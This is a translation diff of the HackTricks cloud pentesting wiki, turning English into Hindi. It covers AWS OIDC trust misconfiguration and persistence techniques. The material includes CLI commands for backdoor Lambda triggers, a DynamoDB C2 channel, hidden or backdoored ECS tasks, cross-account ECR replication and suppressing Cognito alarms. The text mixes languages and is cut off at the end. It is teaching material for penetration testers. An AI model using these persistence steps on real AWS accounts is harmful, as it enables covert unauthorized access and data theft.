AWS Credentials +uses: aws-actions/configure-aws-credentials@v1 +with: +aws-region: eu-west-1 +role-to-assume:${{ secrets.READ_ROLE }} +role-session-name: OIDCSession - - run: aws sts get-caller-identity - shell: bash +- run: aws sts get-caller-identity +shell: bash ``` - -## OIDC - EKS Abuse - +## OIDC - EKS दुरुपयोग ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate @@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` - -It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy: - +यह संभव है कि **EKS** क्लस्टर में **OIDC प्रदाताओं** को केवल क्लस्टर के **OIDC URL** को **नए Open ID पहचान प्रदाता** के रूप में सेट करके उत्पन्न किया जा सके। यह एक सामान्य डिफ़ॉल्ट नीति है: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" +} +} +} +] } ``` +यह नीति सही ढंग से संकेत कर रही है कि **केवल** **EKS क्लस्टर** जिसका **id** `20C159CDF6F2349B68846BEC03BE031B` है, वह भूमिका ग्रहण कर सकता है। हालाँकि, यह यह नहीं बता रहा है कि कौन सी सेवा खाता इसे ग्रहण कर सकता है, जिसका अर्थ है कि **कोई भी सेवा खाता जिसमें एक वेब पहचान टोकन है** वह भूमिका ग्रहण करने में **सक्षम होगा**। -This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role. - -In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as: - +**जिस सेवा खाते को भूमिका ग्रहण करने में सक्षम होना चाहिए,** उसे निर्दिष्ट करने के लिए, एक **शर्त** निर्दिष्ट करना आवश्यक है जहाँ **सेवा खाता नाम निर्दिष्ट किया गया है**, जैसे: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` - -## References +## संदर्भ - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 28868b9f1..26933b4e1 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -2,20 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools: +ये वे अनुमतियाँ हैं जो आपको प्रत्येक AWS खाते पर चाहिए जिन्हें आप ऑडिट करना चाहते हैं ताकि आप सभी प्रस्तावित AWS ऑडिट टूल चला सकें: -- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) -- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions: - - **access-analyzer:List\*** - - **access-analyzer:Get\*** - - **iam:CreateServiceLinkedRole** - - **access-analyzer:CreateAnalyzer** - - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission) - - **access-analyzer:DeleteAnalyzer** - - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission) +- डिफ़ॉल्ट नीति **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) +- [aws_iam_review](https://github.com/carlospolop/aws_iam_review) चलाने के लिए आपको निम्नलिखित अनुमतियों की भी आवश्यकता है: +- **access-analyzer:List\*** +- **access-analyzer:Get\*** +- **iam:CreateServiceLinkedRole** +- **access-analyzer:CreateAnalyzer** +- वैकल्पिक यदि ग्राहक आपके लिए विश्लेषक उत्पन्न करता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है) +- **access-analyzer:DeleteAnalyzer** +- वैकल्पिक यदि ग्राहक आपके लिए विश्लेषक हटा देता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index f3b45c4d3..c707c72c2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1,6 +1 @@ -# AWS - Persistence - - - - - +# AWS - स्थिरता diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 6d2b0ec35..2caeab45b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -4,7 +4,7 @@ ## API Gateway -For more information go to: +अधिक जानकारी के लिए जाएं: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,25 +12,21 @@ For more information go to: ### Resource Policy -Modify the resource policy of the API gateway(s) to grant yourself access to them +API गेटवे(s) की संसाधन नीति को संशोधित करें ताकि आप उन्हें एक्सेस कर सकें ### Modify Lambda Authorizers -Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ -Or just remove the use of the authorizer. +लैम्ब्डा ऑथराइज़र्स के कोड को संशोधित करें ताकि आप सभी एंडपॉइंट्स तक पहुंच प्राप्त कर सकें।\ +या बस ऑथराइज़र के उपयोग को हटा दें। ### IAM Permissions -If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ -Or just remove the use of the authorizer. +यदि कोई संसाधन IAM ऑथराइज़र का उपयोग कर रहा है, तो आप IAM अनुमतियों को संशोधित करके खुद को एक्सेस दे सकते हैं।\ +या बस ऑथराइज़र के उपयोग को हटा दें। ### API Keys -If API keys are used, you could leak them to maintain persistence or even create new ones.\ -Or just remove the use of API keys. +यदि API कुंजी का उपयोग किया जाता है, तो आप उन्हें लीक कर सकते हैं ताकि स्थिरता बनाए रख सकें या यहां तक कि नई कुंजी बना सकें।\ +या बस API कुंजी के उपयोग को हटा दें। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index e2e037e53..61262b97b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -4,7 +4,7 @@ ## Cognito -For more information, access: +अधिक जानकारी के लिए, पहुँचें: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -12,16 +12,16 @@ For more information, access: ### User persistence -Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like: +Cognito एक सेवा है जो अनधिकृत और अधिकृत उपयोगकर्ताओं को भूमिकाएँ देने और उपयोगकर्ताओं के एक निर्देशिका को नियंत्रित करने की अनुमति देती है। कुछ स्थिरता बनाए रखने के लिए कई विभिन्न कॉन्फ़िगरेशन को बदला जा सकता है, जैसे: -- **Adding a User Pool** controlled by the user to an Identity Pool -- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** - - Or to an **authenticated Identity Pool** if the attacker can login - - Or **improve the permissions** of the given roles -- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool** -- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool +- **एक उपयोगकर्ता पूल** जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है, को एक पहचान पूल में जोड़ना +- एक **IAM भूमिका को अनधिकृत पहचान पूल को देना और बेसिक ऑथ फ्लो की अनुमति देना** +- या एक **अधिकृत पहचान पूल** में यदि हमलावर लॉगिन कर सकता है +- या दिए गए भूमिकाओं के **अनुमतियों में सुधार करना** +- **विशेषताएँ नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से बनाना, सत्यापित करना और प्रिवेस्क करना** एक **उपयोगकर्ता पूल** में +- **बाहरी पहचान प्रदाताओं** को एक उपयोगकर्ता पूल या एक पहचान पूल में लॉगिन करने की अनुमति देना -Check how to do these actions in +इन क्रियाओं को कैसे करना है, यह देखें {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md @@ -29,18 +29,12 @@ Check how to do these actions in ### `cognito-idp:SetRiskConfiguration` -An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: - +इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI देखें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` - -By default this is disabled: +डिफ़ॉल्ट रूप से यह अक्षम है:
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 75a824e73..cc41e14a3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -4,64 +4,56 @@ ### DynamoDB -For more information access: +अधिक जानकारी के लिए पहुँचें: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### DynamoDB Triggers with Lambda Backdoor - -Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account. +### DynamoDB ट्रिगर्स के साथ Lambda बैकडोर +DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब कोई आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है। ```bash # Create a malicious Lambda function aws lambda create-function \ - --function-name MaliciousFunction \ - --runtime nodejs14.x \ - --role \ - --handler index.handler \ - --zip-file fileb://malicious_function.zip \ - --region +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ - --function-name MaliciousFunction \ - --event-source \ - --region +--function-name MaliciousFunction \ +--event-source \ +--region ``` - To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function. ### DynamoDB as a C2 Channel An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands. - ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ - --table-name C2Table \ - --attribute-definitions AttributeName=CommandId,AttributeType=S \ - --key-schema AttributeName=CommandId,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --region +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region # Insert a command into the table aws dynamodb put-item \ - --table-name C2Table \ - --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ - --region +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region ``` - -The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources. +संपर्कित उदाहरण या लैम्ब्डा फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को संपर्कित संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index b52ac9e85..78978da49 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -4,55 +4,51 @@ ## EC2 -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Security Group Connection Tracking Persistence +### सुरक्षा समूह कनेक्शन ट्रैकिंग स्थिरता -If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic. +यदि एक रक्षक पाता है कि एक **EC2 उदाहरण से समझौता किया गया था**, तो वह शायद **नेटवर्क** को **आइसोलेट** करने की कोशिश करेगा। वह एक स्पष्ट **Deny NACL** के साथ ऐसा कर सकता है (लेकिन NACLs पूरे सबनेट को प्रभावित करते हैं), या **सुरक्षा समूह को बदलकर** **किसी भी प्रकार के इनबाउंड या आउटबाउंड** ट्रैफ़िक की अनुमति नहीं देता। -If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** था, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को नहीं मारा जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**।** -### EC2 Lifecycle Manager +### EC2 जीवनचक्र प्रबंधक -This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\ -An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**. +यह सेवा **AMIs और स्नैपशॉट्स** के **निर्माण को शेड्यूल** करने की अनुमति देती है और यहां तक कि **उन्हें अन्य खातों के साथ साझा** भी कर सकती है।\ +एक हमलावर **हर सप्ताह सभी छवियों या सभी वॉल्यूम्स के AMIs या स्नैपशॉट्स** का **उत्पादन** कॉन्फ़िगर कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है। -### Scheduled Instances +### अनुसूचित उदाहरण -It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access. +यह दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से उदाहरणों को चलाने के लिए शेड्यूल करना संभव है। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है। -### Spot Fleet Request +### स्पॉट फ़्लीट अनुरोध -Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**. +स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष के लिए एक छोटा स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ। -### Backdoor Instances +### बैकडोर उदाहरण -An attacker could get access to the instances and backdoor them: +एक हमलावर उदाहरणों तक पहुंच प्राप्त कर सकता है और उन्हें बैकडोर कर सकता है: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdooring the **User Data** +- उदाहरण के लिए एक पारंपरिक **रूटकिट** का उपयोग करना +- एक नया **सार्वजनिक SSH कुंजी** जोड़ना (देखें [EC2 प्रिवेस्क विकल्प](../aws-privilege-escalation/aws-ec2-privesc.md)) +- **उपयोगकर्ता डेटा** को बैकडोर करना -### **Backdoor Launch Configuration** +### **बैकडोर लॉन्च कॉन्फ़िगरेशन** -- Backdoor the used AMI -- Backdoor the User Data -- Backdoor the Key Pair +- उपयोग किए गए AMI को बैकडोर करें +- उपयोगकर्ता डेटा को बैकडोर करें +- कुंजी जोड़ी को बैकडोर करें ### VPN -Create a VPN so the attacker will be able to connect directly through i to the VPC. +एक VPN बनाएं ताकि हमलावर सीधे इसके माध्यम से VPC से कनेक्ट कर सके। -### VPC Peering +### VPC पीयरिंग -Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC. +पीड़ित VPC और हमलावर VPC के बीच एक पीयरिंग कनेक्शन बनाएं ताकि वह पीड़ित VPC तक पहुंच सके। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 07928fbd4..d692fdafe 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -4,7 +4,7 @@ ## ECR -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-ecr-enum.md @@ -12,90 +12,80 @@ For more information check: ### Hidden Docker Image with Malicious Code -An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner. +एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे कि Amazon ECS या EKS, में चुपचाप तैनात कर सकता है। ### Repository Policy -Add a policy to a single repository granting yourself (or everybody) access to a repository: - +एकल रिपॉजिटरी में एक नीति जोड़ें जो आपको (या सभी को) एक रिपॉजिटरी तक पहुंच प्रदान करती है: ```bash aws ecr set-repository-policy \ - --repository-name cluster-autoscaler \ - --policy-text file:///tmp/my-policy.json +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json # With a .json such as { - "Version" : "2008-10-17", - "Statement" : [ - { - "Sid" : "allow public pull", - "Effect" : "Allow", - "Principal" : "*", - "Action" : [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - > [!WARNING] -> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository. +> ध्यान दें कि ECR को उपयोगकर्ताओं के पास **अनुमति** होनी चाहिए कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **तब तक जब तक वे एक रजिस्ट्री में प्रमाणित नहीं हो सकते** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल नहीं कर सकते। -### Registry Policy & Cross-account Replication +### रजिस्ट्री नीति और क्रॉस-खाता पुनरुत्पादन -It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry. +एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से पुनरुत्पादित करना संभव है, जहां आपको **बाहरी खाते** को इंगित करने की आवश्यकता है जहां आप रजिस्ट्री को पुनरुत्पादित करना चाहते हैं।
-First, you need to give the external account access over the registry with a **registry policy** like: - +पहले, आपको बाहरी खाते को रजिस्ट्री पर पहुंच प्रदान करने की आवश्यकता है एक **रजिस्ट्री नीति** के साथ जैसे: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json # With a .json like: { - "Sid": "asdasd", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::947247140022:root" - }, - "Action": [ - "ecr:CreateRepository", - "ecr:ReplicateImage" - ], - "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` - -Then apply the replication config: - +फिर पुनरुत्पादन कॉन्फ़िगरेशन लागू करें: ```bash aws ecr put-replication-configuration \ - --replication-configuration file://replication-settings.json \ - --region us-west-2 +--replication-configuration file://replication-settings.json \ +--region us-west-2 # Having the .json a content such as: { - "rules": [{ - "destinations": [{ - "region": "destination_region", - "registryId": "destination_accountId" - }], - "repositoryFilters": [{ - "filter": "repository_prefix_name", - "filterType": "PREFIX_MATCH" - }] - }] +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 988626c8f..a70b2ab93 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -4,7 +4,7 @@ ## ECS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -15,18 +15,17 @@ For more information check: > [!NOTE] > TODO: Test -An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. - +एक हमलावर Amazon EventBridge का उपयोग करके **एक दुर्भावनापूर्ण कार्य को नियमित रूप से निष्पादित करने के लिए शेड्यूल करने के लिए एक छिपा हुआ आवधिक ECS कार्य बना सकता है**। यह कार्य अन्वेषण कर सकता है, डेटा को बाहर निकाल सकता है, या AWS खाते में स्थिरता बनाए रख सकता है। ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an Amazon EventBridge rule to trigger the task periodically @@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate # Add a target to the rule to run the malicious ECS task aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ - { - "Id": "malicious-ecs-task-target", - "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", - "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", - "EcsParameters": { - "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", - "TaskCount": 1 - } - } +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} ]' ``` - ### Backdoor Container in Existing ECS Task Definition > [!NOTE] > TODO: Test -An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities. - +एक हमलावर एक **छिपा हुआ बैकडोर कंटेनर** को एक मौजूदा ECS टास्क परिभाषा में जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है। ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ - { - "name": "legitimate-container", - "image": "legitimate-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - }, - { - "name": "backdoor-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": false - } +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} ]' ``` - ### Undocumented ECS Service > [!NOTE] > TODO: Test -An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service. - +एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को अक्षम करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है। ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an undocumented ECS service with the malicious task definition aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index bdb282d41..582c36397 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -4,22 +4,18 @@ ## EFS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -### Modify Resource Policy / Security Groups +### संसाधन नीति / सुरक्षा समूहों को संशोधित करें -Modifying the **resource policy and/or security groups** you can try to persist your access into the file system. +**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को बनाए रखने का प्रयास कर सकते हैं। -### Create Access Point +### एक्सेस पॉइंट बनाएं -You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system. +आप **एक्सेस पॉइंट बना सकते हैं** (जिसमें `/` पर रूट एक्सेस हो) जिसे एक सेवा से एक्सेस किया जा सकता है जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थायीता** लागू की है। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index c55e0e2ba..b18b06f30 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -4,31 +4,30 @@ ## Elastic Beanstalk -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Persistence in Instance +### Instance में Persistence -In order to maintain persistence inside the 